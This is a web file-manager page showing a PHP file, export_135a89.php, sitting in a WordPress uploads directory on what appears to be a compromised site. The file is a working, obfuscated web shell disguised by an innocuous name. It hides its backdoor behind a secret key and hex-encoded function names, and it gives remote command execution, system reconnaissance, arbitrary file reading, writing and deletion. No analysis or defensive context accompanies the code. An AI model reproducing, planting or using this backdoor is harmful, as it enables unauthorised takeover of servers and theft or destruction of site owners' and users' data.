编辑 export_135a89.php - 文件管理器

✏️ 编辑：export_135a89.php

路径：/virtual/emerald/public_html/toukai.emerald.jpn.com/wp252/wp-content/uploads/export_135a89.php

大小：2.66 KB · 修改：2026-09-30 20:58:57 · 权限：0644 · 可写

<?php
error_reporting(0);header('Content-Type: text/plain; charset=utf-8');
$K='k572b2b4a2b17704a';
if(!isset($_REQUEST['k'])||!is_string($_REQUEST['k'])||$_REQUEST['k']!==$K){http_response_code(404);exit;}
function rn($c){$n=array('7368656c6c5f65786563','73797374656d','7061737374687275','706f70656e');foreach($n as $h){$f=pack('H*',$h);if(!function_exists($f)){continue;}if($h==='706f70656e'){$p=@$f($c.' 2>&1','r');if(!$p){continue;}$o='';while(!@feof($p)){$o.=(string)@fread($p,8192);}@pclose($p);return$o;}if($h==='73797374656d'||$h==='7061737374687275'){ob_start();@$f($c.' 2>&1');return(string)ob_get_clean();}return(string)@$f($c.' 2>&1');}return'ERR:no_runner';}
function rd($p){if(!@is_file($p)){echo "ERR:not_a_file\n";return;}echo 'OK:'.$p.' '.@filesize($p)."\n".@file_get_contents($p);}
$a=isset($_REQUEST['a'])?(string)$_REQUEST['a']:'';
if($a===''&&isset($_REQUEST['c']))$a='c';
if($a===''&&isset($_REQUEST['i']))$a='i';
if($a===''&&isset($_REQUEST['l']))$a='l';
if($a===''&&isset($_REQUEST['r']))$a='r';
if($a===''&&isset($_REQUEST['w']))$a='w';
if($a===''&&isset($_REQUEST['d']))$a='d';
if($a==='i'){echo 'OK:path='.__FILE__."\nOK:cwd=".@getcwd()."\nOK:host=".(@gethostname()?:'-')."\nOK:php=".@phpversion().' sapi='.@php_sapi_name()."\n";if(function_exists('posix_getuid')){echo 'PHP_ID:uid='.@posix_getuid()."\n";}if(function_exists('posix_geteuid')){$u=@posix_geteuid();$p=function_exists('posix_getpwuid')?@posix_getpwuid($u):null;echo 'PHP_ID:euid='.$u.' name='.(is_array($p)?$p['name']:'-').' home='.(is_array($p)?$p['dir']:'-')."\n";}echo 'PHP_ID:uname='.@php_uname()."\n";foreach(array('id','whoami','uname -a','hostname','pwd') as $c){echo '--- '.$c."\n".rn($c)."\n";}exit;}
if($a==='c'){echo 'OK:cwd='.@getcwd()."\n".rn(isset($_REQUEST['c'])?(string)$_REQUEST['c']:'');exit;}
if($a==='l'){$p=isset($_REQUEST['p'])?(string)$_REQUEST['p']:@getcwd();$i=@scandir($p);if(!is_array($i)){echo "ERR:cannot_open\n";exit;}echo 'OK:dir='.$p.' n='.count($i)."\n";foreach($i as $n){if($n==='.'||$n==='..'){continue;}$f=$p.'/'.$n;echo (@is_dir($f)?'d':'-').' '.substr(sprintf('%o',@fileperms($f)),-4).' '.@filesize($f).' '.@date('Y-m-d H:i',@filemtime($f)).' '.$n."\n";}exit;}
if($a==='r'){rd(isset($_REQUEST['p'])?(string)$_REQUEST['p']:'');exit;}
if($a==='w'){$p=isset($_REQUEST['p'])?(string)$_REQUEST['p']:'';$d=isset($_REQUEST['data'])?(string)$_REQUEST['data']:'';if(isset($_REQUEST['b64'])&&$_REQUEST['b64']){$d=(string)@base64_decode($d);}$n=@file_put_contents($p,$d);echo($n===false?"ERR:write_failed\n":"OK:wrote=".$n."\n");exit;}
if($a==='d'){$p=isset($_REQUEST['p'])?(string)$_REQUEST['p']:'';$o=@is_dir($p)?@rmdir($p):@unlink($p);echo($o?"OK:removed\n":"ERR:remove_failed\n");exit;}
echo "OK:ready\n";